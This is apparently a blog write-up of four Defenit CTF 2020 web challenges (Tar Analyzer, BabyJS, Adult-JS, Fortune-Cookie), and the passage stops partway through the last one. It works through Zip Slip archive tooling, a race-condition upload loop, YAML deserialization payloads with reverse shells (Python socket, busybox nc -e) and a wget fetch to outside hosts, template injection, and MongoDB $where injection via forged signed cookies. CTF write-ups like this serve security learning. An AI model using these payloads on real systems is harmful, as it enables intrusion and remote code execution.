

```
Title = "Defenit CTF 2020  writeup "
```

```
description = "Defenit CTF 2020  Writeup  Good designed!!"
```

```
tags = ["CTF","Web","Forensics"]
```

```
publishtime = 2020-06-08T00:20:54
```

```
-+_+-
```

Defenit CTF , good challs ! Having fun ! But too much NodeJs :{=

In order to practice my English , write the blog in English XD.

Tar Analyzer

Description

Our developer built simple web server for analyzing tar file and extracting online. He said server is super safe. Is it?

Server

Vulnerability ..

- Zip Slip Vulnerability (allowing attackers to write arbitrary files on system)
- Soft link lead to arbitrary file read
- Race Conditions
- YAML Deserialization Attack in Python

Main ..

```
from tarfile import TarFile
from tarfile import TarInfo
from tarfile import is_tarfile
from flask import render_template
from flask import make_response
from flask import send_file
from flask import request
from flask import Flask
from hashlib import md5
from shutil import rmtree
from yaml import *
import os
```

From the import we can see some sensitive libs , such as tarfile , yaml.

The program is started with the flask framework, with following routers

```
/ [GET]
/analyze [POST]
/<path:host> [GET]
/admin [GET]
```

`/analyze` interface allow you to upload a tar file , the server will use `Tarfile().extractall()` to extract the tar file which lead to the vuln of arbitrary file write .

```
@app.route('/analyze', methods=['POST'])
def analyze():
    try:
        fn =
        'temp/{}.tar'.format(md5(request.remote_addr.encode()).hexdigest())
        if request.method == 'POST':
            fp = request.files['file']
            fp.save(fn)
            if not is_tarfile(fn):
                return '<script>alert("Uploaded file is not \'tar\'
file.");history.back(-1);</script>'
            tf = TarFile(fn)
            tf.extractall(fn.split('.')[0])
```

```

        bd1 = fn.split('/')[1].split('.')[0]
        bd2 = fn.split('/')[1]
        print(bd1)
        print(bd2)
        print(tf.getnames())
        return render_template('analyze', path=bd1, fn=bd1,
files=tf.getnames())
    except Exception as e:
        print(e)
        return response('Error', 500)
    finally:
        try:
            os.remove(fn)
        except:
            return response('Error', 500)

```

You can get the file from `<path:host>` interface , which have another vuln of arbitrary file read .😁

In the program , `initializing()` write data to config.yaml with `dump()` and use `load()` to load the data, this lead to YAML Deserialization Attack in Python .Now that we have found the vulns of this program , we should find a path to accesss the sink.

Here are 2 ways to getflag:

1: Arbitrary file read :

When u use tar command to compress files (with soft links in these files) , after extracted all files you can abuse the soft links to read files! This vuln has a long history , but still exist :(.

```

# verify the vuln
sudo ln -s ../../../../../../../../../../etc/passwd passwdlink
tar -cvf link.tar passwdlink

```

```

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin

```

```
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
analyzer:x:1000:1000:Linux User,,,:/home/analyzer:
```

```
# exploit
```

```
sudo ln -s ../../../../../../../../../../flag.txt flaglink
```

```
tar -cvf link.tar flaglink
```

2: Race Condition && Zip Slip Vuln && YAML Deserialization

Attack to RCE ::

`/admin` interface will first exec `initializing()`

```
@app.route('/admin', methods=['GET'])
def admin():
    initializing()
    data = hostcheck(request.remote_addr)
```

`initializing()` write data to config.yaml with `dump()`

```
def initializing():
    try:
        with open('config.yaml', 'w') as fp:
            data = {'allow_host': '127.0.0.1', 'message': 'Hello
Admin!'}
            fp.write(dump(data))
    except:
        return False
```

then turns to `hostcheck()` , load data from `config.yaml`

```
def hostcheck(host):
    try:
        with open('config.yaml', 'rb') as fp:
            config = load(fp.read(), Loader=Loader)
            if config['allow_host'] == host:
                return config['message']
            else:
                raise()
    except:
        return False
```

These two funcs have a time window , which means that we can consider Race Condition Attack.

We need another vuln , arbitrary file write to cooperate.

If we can overwrite the `config.yaml` file in the window . The `load()` may exec with dirty data , then Deserialization happened , RCE to getflag!

So , how to make a malicious archive?

The vulnerability is exploited using a specially crafted archive that holds **directory traversal** filenames (e.g. `../../../../evil.sh`).The Zip Slip vulnerability can affect numerous archive formats, including `tar` , `jar` , `war` , `cpio` , `apk` , `rar` and `7z`.

For the reason that the filename `../../../../config.yaml` is illegal in System . We should modify the archive directly with some hexeditor, like 01editor. Or you can use these script to make it.

```
#!/usr/bin/env python
```

```

# Author: Alamot
import os
import sys
import zipfile
import tarfile
import argparse

mode = {".zip":"a", ".jar":"a", ".war":"a", ".apk":"a",
        ".tar":"a", ".gz":"w:gz", ".tgz":"w:gz", ".bz2":"w:bz2"}

def make_traversal_path(path, level=0, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\')
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')

def main():
    parser = argparse.ArgumentParser(description="A tool to create
archives " +
        "containing path-traversal filenames (e.g. '../../etc/passwd').")
    parser.add_argument("file_to_add", help="File to add in the
archive.")
    parser.add_argument("archive",
                        help="Archive filename (Supported extensions
are " +
                            ".zip, .jar, .war, .apk, " +
                            ".tar, .tar.bz2, .tar.gz, .tgz).")
    parser.add_argument("-l", "--levels", dest="levels", default="0-
10",
                        help="A single level or a range of levels to "
+
                            "traverse (default: %(default)s).")
    parser.add_argument("-o", "--os", dest="os", default="unix",
                        help="Target OS [unix|win] (default: %(
default)s).")
    parser.add_argument("-p", "--path", dest="path", default="",
                        help="Path to include (e.g. 'etc/').")
    args = parser.parse_args()

```

```

if not os.path.exists(args.file_to_add):
    sys.exit("Cannot find input file: " + args.file_to_add)

name, ext = os.path.splitext(args.archive)
if not ext:
    sys.exit("Please specify a supported extension (zip, jar, " +
            "tar, tar.bz2, tar.gz, tgz) in the archive filename: " +
            args.archive)

try:
    if "-" not in args.levels:
        start = int(args.levels)
        end = int(args.levels) + 1
    else:
        start, end = args.levels.split("-")
        start = int(start)
        end = int(end) + 1
except ValueError:
    sys.exit("Please specify a single level (e.g. 3) or " +
            "a level range (e.g. 1-10) for path traversal.")

path = args.path + os.path.basename(args.file_to_add)

if ext in [".zip", ".jar", ".war", ".apk"]:
    print("Creating archive " + args.archive)
    zipf = zipfile.ZipFile(args.archive, mode[ext])
    for i in range(start, end):
        fullpath = make_traversal_path(path, level=i, os=args.os)
        print("[+] Adding " + fullpath)
        zipf.write(args.file_to_add, fullpath)
    zipf.close()
elif ext in [".tar", ".bz2", ".gz", ".tgz"]:
    print("Creating archive " + args.archive)
    tarf = tarfile.open(args.archive, mode[ext])
    for i in range(start, end):
        fullpath = make_traversal_path(path, level=i, os=args.os)
        print("[+] Adding " + fullpath)
        tarf.add(args.file_to_add, fullpath)
    tarf.close()
else:
    sys.exit("Extension '" + ext + "' not supported.")

```

```
if __name__ == '__main__':  
    main()
```

I forgot where I found this script :(, if you know please contact me!

```
python3 maliciouarchive.py config.yaml overwrite.tar -l 2
```

Or u can generate like this! (found from discord)

```
import tarfile  
import io  
import os  
  
t = tarfile.TarFile('1.tar', 'w')  
info = tarfile.TarInfo("/app/config.yaml")  
payload= rb"""  
yo:  
    !!python/object/apply:os.system  
    - "busybox nc server-to-receive-shell 8080 -e sh && sleep 2"  
"""  
# import yaml  
# print(yaml.load(io.BytesIO(payload), Loader=yaml.Loader))  
info.size=len(payload)  
info.mode=0o444  
# info.type=tarfile.SYMTYPE  
t.addfile(info, io.BytesIO(payload))  
t.close()  
  
path=os.path.realpath('1.tar')  
os.chdir('/tmp/')  
t = tarfile.TarFile(path, 'r')  
t.extractall('yee')
```

You will get the malicious archive like these.


```

00000000  2E 2E 2F 2E 2E 2F 63 6F 6E 66 69 67 2E 79 61 6D
../../../../config.yam
00000010: 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1.....
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.....
00000060: 00 00 00 00 30 30 30 30 37 37 37 00 30 30 30 31
....0000777.0001
00000070: 37 35 30 00 30 30 30 31 37 35 30 00 30 30 30 30
750.0001750.0000
00000080: 30 30 30 30 34 35 31 00 31 33 36 36 36 37 31 35
0000451.13666715
00000090: 36 31 36 00 30 31 33 36 31 37 00 20 30 00 00 00
616.013617..0...
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

```

Upload it with Race Condition

```

# coding=utf-8
import hackhttp

hh = hackhttp.hackhttp()

url = "http://tar-analyzer.ctf.defenit.kr:8080/analyze"

raw = """POST /analyze HTTP/1.1
Host: tar-analyzer.ctf.defenit.kr:8080
Content-Length: 10426
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://tar-analyzer.ctf.defenit.kr:8080
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryro0EyRpIlsuYbqOf
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

```

```

Referer: http://tar-analyzer.ctf.defenit.kr:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

-----WebKitFormBoundaryro0EyRpIlsuYbqOf
Content-Disposition: form-data; name="file"; filename="1.tar"
Content-Type: application/x-tar


{content}
-----WebKitFormBoundaryro0EyRpIlsuYbqOf--
"""

with open("./overwrite.tar", 'r') as f:
    raw = raw.format(content=f.read())

while True:
    code, head, body, redirect, log = hh.http(url, raw=raw)
    print(code)

```

Finally RCE , some payload here




```

!!python/object/apply:subprocess.Popen
- !!python/tuple
  - python
  - -c
  - "import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM
);s.connect(('IP',60001));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"

!!python/object/apply:subprocess.Popen
- !!python/tuple [wget, 'http://ip:8080/foo']

```

Flag



```

Defenit{R4ce_C0nd1710N_74r_5L1P_w17H_Y4ML_Rce!}

```

References ..

1. [🔗 Zip Slip Vulnerability List](#)
2. [🔗 Zip Slip Vulnerability Explain](#)
3. [🔗 tarfile: Traversal attack vulnerability](#)
4. [🔗 Python Library Reference: tarfile.TarFile.extractall](#)
5. [🔗 YAML Deserialization Attack in Python](#)

BabyJS

Description

Render me If you can.

Vulnerability ..

- Server Side Template Injection

Main ..

First look around the program , we could find the program using express-hbs as the template engine.

We could find that FLAG was deliver to the front.

```
app.get('/', (req, res) => {  
  const { p } = req.query;  
  if (!p) res.redirect('/?p=index');  
  else res.render(p, { FLAG, 'apple': 'mint' });  
});
```

We can post content , the program will write the content into a file

```

app.post('/', (req, res) => {
  const { body: { content }, userDir, saveDir } = req;
  const filename = crypto.randomBytes(8).toString('hex');

  let p = path.join('temp', userDir, filename)

  fs.writeFile(`${path.join(saveDir, filename)}.html`, content, ()
=> {
    res.redirect(`/?p=${p}`);
  })
});

```

Firstly I use `{{apple}}`、`{{this}}` , and it return the result `[Object Object]`, It seems it had some kind of template attack.

But we cannot write FLAG directly to receive the value , for the reason that it check our content.

```

if (typeof content === 'string' && content.indexOf('FLAG') !== -1 ||
typeof content === 'string' && content.length > 200) {
  res.end('Request blocked'+typeof content+content.indexOf('FLAG'));
  console.log(typeof content);
  console.log(content.indexOf('FLAG'));
  return;
}
next();

```

As long as we bypass the restrict , we can use payload like this `{{ FLAG }}` to receive the value, unfortunately , after long time trying to use unicode , I can not bypass it .

When I look around the source again , it reminds me that the program use express-hbs, and I try some fuzz , like

```

{{#each this}}
  {{this}}
{{/each}}

{{~F LAG}}

```

And I got the error that tell me express-hbs use handlebars dependence

```
TypeError:
/app/views/temp/4b18c60be2c53213cc973ca3a4952acb/2d611e5d43e82f98.html
: Cannot convert object to primitive value
    at Object.escapeExpression
(/app/node_modules/handlebars/dist/cjs/handlebars/utils.js:91:17)
    at eval (eval at createFunctionContext
(/app/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-
compiler.js:262:23), <anonymous>:2:17)
    at prog
(/app/node_modules/handlebars/dist/cjs/handlebars/runtime.js:268:12)
    at execIteration
(/app/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:51:1
9)
    at
/app/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:83:15
    at Array.forEach (<anonymous>)
    at
/app/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:78:32
    at Object.<anonymous>
(/app/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:91:1
1)
    at Object.wrapper
(/app/node_modules/handlebars/dist/cjs/handlebars/internal/wrapHelper.
js:15:19)
    at Object.eval [as main] (eval at createFunctionContext
(/app/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-
compiler.js:262:23), <anonymous>:8:52)
```

so I go to find the [@documents](#) . It seems that the handlebars used to have template injection vuln.

And found that many ways to solve the problem (Helpers , Literal)

```
{{#each this}}
  {{@key}}:{{#if this.length}} {{.}} {{/if}}
{{/each}}

{{#each this}}
  {{#if this.length}} {{this}} {{/if}}
{{/each}}

{{#with this as |k|}}
  {{#with "FLag"}}
```

```
    {{#with (replace "ag" "AG") as |payload|}}
      {{lookup k payload}}
    {{/with}}
  {{/with}}
{{/with}}

{{#each this}}{{this.[20]}}{{/each}} // do it many times ..... LOL
```

Or you can use Array to make the check expression return false because it only operated on strings , bypass like many functions in PHP . 😊

```
curl "http://babyjs.ctf.defenit.kr/" -H "Content-Type: application/x-www-form-urlencoded" --data "content[]={FLAG}" --compressed --insecure -L
```

Defenit{w3bd4v_0v3r_h7tp_n71m_0v3r_Sm8}

References ..

1. [🔗 Handlebars Document](#)
2. [🔗 Handlebars template injection and RCE in a Shopify app](#)

Adult-JS

Description

Are you over 18?

This challenge is for adults :D

Hints

Adult-JS is Served by Windows

UNC Path

Vulnerability ..

- Analyze

- UNC,SMB and WebDav

Main ..

When I download the source and open , I found that there are too many endpoints in it!! The source has 104178 lines !! :(Which means we should review a very large amount of code and to find one flaw in these 10003 endpoints.

```
app.post("/ef532810db0d4e0f7cafb9737eb24123860c7ec967af36d35ab48e6fc97b91bf", (req, res) => {
  try {
    a33d15229 = req.fresh["a30f50045"];
    ce1ea0165 = !req.query.caf9b0315;
    ce894fa6c = req.is("h7666fcab", {});
    d7010e56d = req.json["i6b4c34f3"];
    ded641e2b = req.route.b6befcd8;
    ee14f5f78 = req.signedCookies["b78476412"];
    fcd810635 = req.fresh["i141053f8"];

    f57f87555 = 'd1e34a52c';
    f1bdf5bc9 = {
      fbb6ef4b9: this,
      gccb7ce82: shared
    };
    c41e5daf3 = {
      e0f1da538: this,
      h8ae31050: shared
    };
    ffb60835f = 'h0205749c';
    af9f7f1b0 = [{
      e66d68fa5: this,
      ab4a4458c: shared
    }];
    c4f26ab53 = {
      gd1cc39da: this,
      a5f09c73a: shared
    };
    d0cc107b6 = {
      h58b19329: shared,
      cbe4285c7: this
    };
    ibaad0f1b = {
      ddc3b7e15: shared,
```

```

        e6d9bfcab: this
    };
    ded641e2b = ded641e2b ** ded641e2b
    ce894fa6c = ce894fa6c ** ce894fa6c
    fcd810635 = fcd810635 ** fcd810635
    a33d15229 = a33d15229 ** a33d15229

    f1bdf5bc9 = assert(ded641e2b);

    res.cookie(f1bdf5bc9);
  } catch {
    res.end('Error');
  }
});

```

these endpoints all look like these , with some function eventually called

`res.attachment()` , `res.cookie()` , `res.render()`

I didn't solve this problem , but after the competition , I found that it was not hard.

The challenge name hints at a relation to BabyJS, and that involves rendering a flag with a template

```

const FLAG = fs.readFileSync('./flag').toString();
hbs.registerPartial('FLAG', FLAG);

```

From the code we can infer that ,maybe we should try to render the FLAG.

I saw that someone use taint analysis to identify whether the functions were called with variables that eventually references req (where we can partially control)

The handlers were parsed into an AST with [@Esprima](#), then logic written to recursively check through the nodes to identify whether function arguments referenced `req`. Along the way, we blacklisted properties like `ip`, `ips`, `secure` etc because these properties did not allow us much control.

The parser can be found [here](#).

This is very amazing , I never seen taint analyze in CTFs (Though you can manually remove endpoints that without `res.render()` , this will leave about 200 endpoints , it's not too much XD)

```

const fs = require("fs");

```



```

const esprima = require("esprima");
const escodegen = require("escodegen");

const g = escodegen.generate;

CHUNK_REGEX = /app\.(\w+)\(("\w{64}"\), \s*(req, res)\) => {\r?\n(?:.+?})\r?\n}\);/gs;

const data = fs.readFileSync("app.js", "utf-8");

const pp = (nodes) => console.log(JSON.stringify(nodes, null, 4));

function is_tainted(node, mainAst) {
  // check whether the given node references req
  function parseNode(node) {
    if (node.type === "Identifier") {
      if (node.name === "req") {
        return true;
      }

      return isIdentifierTainted(node.name, mainAst);
    } else if (node.type === "CallExpression") {
      for (const arg of node.arguments) {
        if (is_tainted(arg, mainAst)) {
          return true;
        }
      }
      return false;
    } else if (node.type === "TemplateLiteral") {
      for (const arg of node.expressions) {
        if (is_tainted(arg, mainAst)) {
          return true;
        }
      }
      return false;
    } else if (node.type === "ExpressionStatement") {
      return parseNode(node.expression);
    } else if (node.type === "AssignmentExpression") {
      if (parseNode(node.right)) {
        return true;
      }
      return false;
    } else if (node.type === "BinaryExpression") {

```

```

    return parseNode(node.left) || parseNode(node.right);
} else if (node.type === "MemberExpression") {
    if (parseNode(node.object)) {
        // if this is something like req.ip["abcdef"] return false
        // all results in undefined
        if (
            node.object.type === "MemberExpression" &&
            node.object.object.type === "Identifier" &&
            node.object.object.name === "req" &&
            node.object.property.type === "Identifier" &&
            ["ip", "secure", "ips", "fresh",
"route"].includes(node.object.property.name)
        ) {
            /*
             https://expressjs.com/en/api.html
            */
            if (
                node.property.type === "Literal" ||
                node.property.type === "Identifier"
            ) {
                return false;
            }
        }
        return true;
    }

    return false;
} else if (node.type === "Literal") {
    return false;
} else if (node.type === "UnaryExpression") {
    return parseNode(node.argument);
} else if (node.type === "ArrayExpression") {
    for (const n of node.elements) {
        if (parseNode(n)) return true;
    }

    return false;
} else if (node.type === "ObjectExpression") {
    for (const n of node.properties) {
        if (parseNode(n.value)) return true;
    }

    return false;
} else if (node.type === "ThisExpression") {
    return false;
}

```

```

    } else if (node.type === "VariableDeclaration") {
      for (const n of node.declarations) {
        if (parseNode(n)) return true;
      }

      return false
    } else if (node.type === "VariableDeclarator") {
      return parseNode(node.init);
    } else {
      pp(node);
      throw Error(node.type);
    }
  }
}

if (parseNode(node)) {
  console.log(g(node));
  return true;
}

return false;
}

function isIdentifierTainted(identifier, mainAst) {
  // check whether the given identifier (variable) references req
  // console.log(`isIdentifierTainted ${identifier}
  ${mainAst.length}`)
  for (const node of mainAst) {
    if (node.type === "ExpressionStatement") {
      const assignOp = node.expression
      if (assignOp.type === "AssignmentExpression" &&
assignOp.operator === "=") {
        if (assignOp.left.type === "Identifier" && assignOp.left.name
=== identifier) {
          // copy this and remove the current node so that we dont go
recursive
          const newAst = mainAst.slice();
          newAst.splice(newAst.indexOf(node), 1);

          // handle identifier assigning
          if (assignOp.right.type === "Identifier") {
            return isIdentifierTainted(assignOp.right.name, newAst);
          }

          if (is_tainted(assignOp.right, newAst)) return true;
        }
      }
    }
  }
}

```

```

    }
  }
}

return false
}

function findCalls(nodes) {
  // check through all nodes (and children) to identify and extract
  function calls
  const found = [];

  function parseNode(node) {
    if (node.type === "CallExpression") {
      found.push(node);
      return;
    } else if (node.type === "ExpressionStatement") {
      return parseNode(node.expression);
    } else if (node.type === "AssignmentExpression") {
      return parseNode(node.right);
    } else if (node.type === "BinaryExpression") {
      parseNode(node.left);
      parseNode(node.right);
      return;
    } else if (node.type === "MemberExpression") {
      return;
    } else if (node.type === "Literal") {
      return;
    } else if (node.type === "UnaryExpression") {
      return parseNode(node.argument);
    } else if (node.type === "ArrayExpression") {
      for (const n of node.elements) {
        parseNode(n);
      }
    } else if (node.type === "ObjectExpression") {
      for (const n of node.properties) {
        parseNode(n.value)
      }
    } else if (node.type === "Identifier") {
      return;
    } else if (node.type === "ThisExpression") {
      return;
    } else if (node.type === "VariableDeclaration") {
      for (const n of node.declarations) {
        parseNode(n);
      }
    }
  }
}

```

```

    }
    } else if (node.type === "VariableDeclarator") {
        parseNode(node.init);
    } else {
        pp(node);
        throw Error(node.type);
    }
}

if (Array.isArray(nodes)) {
    for (const node of nodes) {
        parseNode(node);
    }
}

return found;
}

const funcs = new Set();
for (let match of data.matchAll(CHUNK_REGEX)) {
    // https://github.com/jquery/esprima/issues/1953
    const code = match[0].replace("{} catch {", "{} catch(unused) {}");
    const endpoint = match[2];
    const ast = esprima.parseScript(code, { tolerant: true });

    const mainAst =
ast.body[0].expression.arguments[1].body.body[0].block.body;
    // console.log(JSON.stringify(main_ast, null, 4));
    const funcNodes = findCalls(mainAst);

    for (const node of funcNodes) {
        // dont care about assert calls being tainted (unless they're
referenced by some other call, handled later)
        if (node.callee.type === "Identifier" && node.callee.name ===
"assert") {
            continue;
        }

        if (is_tainted(node, mainAst)) {
            console.log(`tainted ${endpoint}: ${g(node)}`);
            console.log();
        }
    }
}
}

```

After running the analyzer , I got the taint endpoint, yee! 😊



```
root@910cd2718e66:~# node analyzer.js
req.body.hcda7a4f9
ae97ef205
res.render(ae97ef205)
tainted
61050c6ef9c64583e828ed565ca424b8be3c585d90a77e52a770540eb6d2a020:
res.render(ae97ef205)
```

So the relevant endpoint was



```
app.post("/61050c6ef9c64583e828ed565ca424b8be3c585d90a77e52a770540eb6d
2a020", (req, res) => {
  try {
    ae97ef205 = req.body.hcda7a4f9;
    c43c4f0d2 = req.get("d28c3a2a7");
    dd0372ef0 = req.range("g64aa5062");
    f71f5ce80 = req.cookies.i77baba57;
    ic9e2c145 = req.secure["eb4688e6f"];

    fc4ebc0cc = {
      b13a9706f: Function,
      f635b63db: 15
    };
    ae9a8c19f = {
      h4f3b2aa1: shared,
      cf479eeba: this
    };
    h4a0a676e = Buffer.alloc(26);
    h9b2a10f7 = Buffer.allocUnsafe(73);
    f8c4d94cc = [
      [
        [
          [{
            cbee7d77b: this,
            e21888a73: shared
          }]
        ]
      ]
    ];
    dffbae364 = {
```

```

        f13828fc5: Function,
        cbcc2fbc6: 22
    };
    ib4cb72c9 = {
        hdd2f9aa3: Function,
        he404c257: 59
    };
    hf494292b = 'f7de2a815';

    ae9a8c19f = assert(f71f5ce80);

    res.render(ae97ef205);
} catch {
    res.end('Error');
}
});

```

We can set the body parameter `hcda7a4f9` which will allow us to specify the path to a template to render , and the cookies `f71f5ce80` will send to the assertion is required to pass .



```

ae97ef205 = req.body.hcda7a4f9;
res.render(ae97ef205);

f71f5ce80 = req.cookies.i77baba57;
ae9a8c19f = assert(f71f5ce80);

```

Now we have a way to load specific template , but we could not write to the template like we did in babyJS, how to control the template?

The hints come into play here

Adult-JS is Served by Windows

UNC Path

The program running on windows , which means we can specify a UNC path to load a template remotely.

Using the resource path contain `{{> FLAG}}` like `\\IP\public` to render.



```

45.63.124.33 - - [07/Jun/2020:15:35:45 +0800] "OPTIONS /public/.html
HTTP/1.1" 403 428 "-" "Microsoft-WebDAV-Miniredir/10.0.14393"

```

Wikipedia says:

Some Microsoft Windows interfaces also allow or require UNC syntax for [WebDAV](#) share access, rather than a URL. The UNC syntax is extended with optional components to denote use of SSL and TCP/IP port number, a WebDAV URL of `http[s]://HostName[:Port]/SharedFolder/Resource` becomes `\\HostName[@SSL][@Port]\SharedFolder\Resource`

So run a WebDAV server and set the template to render!

1. Configure WebDav server. I used apache2.
2. Upload a template file (flag.html)
3. Render it using the endpoint.



```
$ curl "http://adult-  
js.ctf.defenit.kr/61050c6ef9c64583e828ed565ca424b8be3c585d90a77e52a770  
540eb6d2a020" --data "hcda7a4f9=\\\\IP@8181\\\\index" --cookie  
"i77baba57=a"
```

```
Defenit{Audult_JS-@_lo7e5_@-b4By-JS__##}
```

References ..

1. <https://blog.justins.in/defenit2020/>
2. [analyzer](#)

Fortune-Cookie

Description

Here's a test of luck!

What's your fortune today?

Vulnerability ..

- Inject object using signedCookie

- Method Overwrite
- Exploit in reset cycle

Main ..

To get flag ,you should hava a great lucky like some lottery

```
collection.findOne({ $where: `Math.floor(Math.random() *
0xdeaaaaadbeef) === ${favoriteNumber}` })
  .then(result => {
    if (favoriteNumber > 0x1337 && result) res.end(FLAG);
    else res.end('Number not matches. Next chance, please!')
  });
```

I try a long time looking into the `ObjectID()` in `/view` interface, but failed (I do find some blog about this point)

```
collection
  .findOne({
    _id: ObjectID(id)
  })
  .then((result) => {})
```

After looking around the program , we know the program use MongoDB backend , and we also know the secret value for signing cookie , so we can generate our self req.signedCookies

```
const cookieParser = require('cookie-parser');
app.use(cookieParser('🐶' + '🐱'));
```

Another point is that , the signedCookies is transmit into `collection.find()`.

```
app.get('/posts', (req, res) => {

  let client = new MongoClient(MONGO_URL, { useNewUrlParser: true
});
  let author = req.signedCookies.user;
```

```

    if (typeof author === 'string') {
      author = { author };
    }
    client.connect(function (err) {
      if (err) throw err;
      const db = client.db('fortuneCookie');
      const collection = db.collection('posts');
      collection
        .find(author)
        .toArray()
        .then((posts) => {
          res.render('posts', { posts })
        })
        .then(() => {
          client.close();
        });
    });
  });
});

```

when we generate a req.signedCookies contain `$where` key , it will pass either a string containing a JavaScript expression or a full JavaScript function to the query system. .

It seems like overwritten global object are recovered after some period



```

> db.posts.find({ $where: "Math.random() === 2 ? 1 : (() => {
Math.random = () => { return 2; }; return 0;})();"})
{ "_id" : ObjectId("5edb4c8fb915ac00ea935416"), "author" : "admin",
"content" : "admin1" }
{ "_id" : ObjectId("5edb4c94b915ac00ea935417"), "author" : "admin",
"content" : "admin2" }
> db.posts.find({ $where: "Math.random() === 2 ? 1 : (() => {
Math.random = () => { return 2; }; return 0;})();"})
{ "_id" : ObjectId("5edb4c94b915ac00ea935417"), "author" : "admin",
"content" : "admin2" }
> db.posts.find({ $where: "Math.random() === 2 ? 1 : (() => {
Math.random = () => { return 2; }; return 0;})();"})
{ "_id" : ObjectId("5edb4c8fb915ac00ea935416"), "author" : "admin",
"content" : "admin1" }
{ "_id" : ObjectId("5edb4c94b915ac00ea935417"), "author" : "admin",
"content" : "admin2" }
> db.posts.find({ $where: "Math.random() === 2 ? 1 : (() => {
Math.random = () => { return 2; }; return 0;})();"})
{ "_id" : ObjectId("5edb4c8fb915ac00ea935416"), "author" : "admin",
"content" : "admin1" }

```

```

{ "_id" : ObjectId("5edb4c94b915ac00ea935417"), "author" : "admin",
"content" : "admin2" }
> db.posts.find({ $where: "Math.random() === 2 ? 1 : (() => {
Math.random = () => { return 2; }; return 0;})();"})
{ "_id" : ObjectId("5edb4c8fb915ac00ea935416"), "author" : "admin",
"content" : "admin1" }
{ "_id" : ObjectId("5edb4c94b915ac00ea935417"), "author" : "admin",
"content" : "admin2" }
> db.posts.find({ $where: "Math.random() === 2 ? 1 : (() => {
Math.random = () => { return 2; }; return 0;})();"})
{ "_id" : ObjectId("5edb4c94b915ac00ea935417"), "author" : "admin",
"content" : "admin2" }

```

MongoDB uses the same sandbox for queries . It has a reset cycle every 3-5 seconds , but it has the potential to abuse it. — posix

For this reason , you should try serveral times to overwrite `Math.floor()`

Then you can bypass the restrict, the double telde `~~` means that double NOT bitwise operator , it is used as [a faster substitute for Math.floor\(\)](#)

It removes everything after the decimal point because the bitwise operators implicitly convert their operands to signed 32-bit integers. This works whether the operands are (floating-point) numbers or strings, and the result is a number.
@[PleaseStand](#)

```

app.get('/flag', (req, res) => {

    let { favoriteNumber } = req.query;
    favoriteNumber = ~~favoriteNumber;

    if (!favoriteNumber) {
        res.send('Please Input your <a href=?
favoriteNumber=1337">favorite number</a> 😊');
    } else {

        const client = new MongoClient(MONGO_URL, { useNewUrlParser:
true });

        client.connect(function (err) {

            if (err) throw err;

```

```

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        collection.findOne({ $where: `Math.floor(Math.random() *
0xdeaaaaadbeef) === ${favoriteNumber}` })
            .then(result => {
                if (favoriteNumber > 0x1337 && result)
res.end(FLAG);    // ★
                else res.end('Number not matches. Next chance,
please!')
            });

        client.close();

    });
}
})

```

Exp.py from @v0va

```

#!/usr/bin/env python3.7

import hmac
import json
import base64
import hashlib
import requests

def myquote(s):
    return ''.join('%' + hex(x)[2:].zfill(2) for x in s.encode())

def sign_cookie(cookie):
    key = b'\xf0\x9f\x90\x88\xf0\x9f\x90\x87'
    digest = hmac.new(key, cookie.encode(), hashlib.sha256).digest()
    signature = base64.b64encode(digest).decode().strip('=')
    return f's:{cookie}.{signature}'

def make_json_cookie(obj):
    cookie = f'j:{json.dumps(obj)}'
    return myquote(sign_cookie(cookie))

```

```

def send_injection(injection):
